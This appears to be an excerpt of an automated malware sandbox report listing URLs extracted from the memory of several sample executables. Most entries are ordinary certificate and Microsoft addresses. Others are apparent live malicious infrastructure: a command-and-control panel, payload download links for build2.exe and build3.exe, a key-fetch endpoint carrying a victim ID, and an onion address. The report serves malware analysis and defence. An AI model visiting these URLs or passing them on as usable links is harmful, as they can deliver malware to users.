Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.php
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.php0
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.php8
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.php9
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpAQG1
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpFTi0
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpSRQ0
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpWindows
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpam
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpeR
Source: yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpm32
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpnT
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phppRv0
Source: yiueea.exe, 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpv
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/9bDc8sQ/index.phpxQ
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: C06.exe, 0000001C.00000002.4134884919.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exe
Source: C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exe$run
Source: C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exerun5980/
Source: treelatest.exe, 0000002B.00000003.2441035847.0000019AB601E000.00000004.00000020.00020000.00000000.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456481473.0000026057319000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456661068.0000026055695000.00000004.00000020.00020000.00000000.sdmp, calllcustomer.exe.45.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: treelatest.exe, 0000002B.00000003.2441035847.0000019AB601E000.00000004.00000020.00020000.00000000.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456481473.0000026057319000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456661068.0000026055695000.00000004.00000020.00020000.00000000.sdmp, calllcustomer.exe.45.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.g
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E4E2000.00000004.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2646072482.000000000E4A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onion
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E4E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttp://cvwwajk56uu2la7jl4e2fdxy
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://_bad_pdb_file.pdb
Source: C06.exe, 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://invalidlog.txtlookup
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://localhost:3433/https://duniadekho.baridna:
Source: 8A61.exe.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: 8A61.exe.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: treelatest.exe, 0000002B.00000003.2441035847.0000019AB601E000.00000004.00000020.00020000.00000000.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456481473.0000026057319000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456661068.0000026055695000.00000004.00000020.00020000.00000000.sdmp, calllcustomer.exe.45.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.000000000982D000.00000004.00000001.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000000.1732315314.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1728726263.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1729334669.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002E31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: treelatest.exe, 0000002B.00000003.2441035847.0000019AB601E000.00000004.00000020.00020000.00000000.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456481473.0000026057319000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456661068.0000026055695000.00000004.00000020.00020000.00000000.sdmp, calllcustomer.exe.45.dr	String found in binary or memory: http://us.fontviewer.de/0
Source: C06.exe, 0000001C.00000003.2411845946.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: 1917.dll.1.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: C06.exe, 0000001C.00000003.2412420697.0000000003320000.00000004.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2609615996.000000000E768000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2735066360.000000000EDE7000.00000004.00000020.00020000.00000000.sdmp, 88149680561784461713924660.38.dr	String found in binary or memory: http://www.google.com/
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.google.com/feedfetcher.html)HKLM
Source: 88149680561784461713924660.38.dr	String found in binary or memory: http://www.google.com/https://www.google.com/
Source: 88149680561784461713924660.38.dr	String found in binary or memory: http://www.google.com/https://www.google.com//f/
Source: C06.exe, 0000001C.00000003.2412505339.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: mozglue.dll.38.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: C06.exe, 0000001C.00000003.2412591571.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: C06.exe, 0000001C.00000003.2412892295.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000026.00000002.2736203283.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: C06.exe, 0000001C.00000003.2412983985.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: C06.exe, 0000001C.00000003.2413109449.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: C06.exe, 0000001C.00000003.2413200725.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: C06.exe, 0000001C.00000002.4134884919.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe
Source: C06.exe, 0000001C.00000002.4134884919.000000000079E000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run
Source: C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run-
Source: C06.exe, 0000001C.00000002.4134884919.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0
Source: C06.exe, 0000001C.00000002.4134884919.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exeData
Source: C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exerun27c
Source: C06.exe, 0000001C.00000002.4134884919.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php
Source: C06.exe, 0000001F.00000002.4134499495.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: C06.exe, 0000001C.00000002.4134884919.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true;
Source: C06.exe, 0000001C.00000002.4134884919.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truez
Source: C06.exe, 0000001C.00000002.4134884919.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.phpep
Source: C06.exe, 0000001C.00000002.4134884919.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.phpf
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1736687792.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1736687792.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: C06.exe, 0000000B.00000002.2276744600.00000000006F8000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: C06.exe, 0000001F.00000002.4134499495.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/1
Source: C06.exe, 00000029.00000002.2577453283.000000000090D000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 00000029.00000003.2478977891.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/:
Source: C06.exe, 0000001F.00000002.4134499495.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/?
Source: C06.exe, 00000029.00000003.2478977891.000000000090B000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: C06.exe, 0000001C.00000002.4134884919.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json&
Source: C06.exe, 00000029.00000002.2574078983.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json-w
Source: C06.exe, 00000029.00000002.2574078983.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json9
Source: C06.exe, 0000000B.00000002.2276744600.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonn
Source: C06.exe, 00000029.00000002.2574078983.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonp
Source: C06.exe, 0000000B.00000002.2276744600.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonv
Source: C06.exe, 0000001C.00000002.4134884919.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json~
Source: C06.exe, 00000029.00000002.2577453283.000000000090D000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 00000029.00000003.2478977891.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/v
Source: C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/y
Source: explorer.exe, 00000001.00000000.1729958246.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1729958246.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1725888437.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1726566618.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1729958246.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1729958246.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
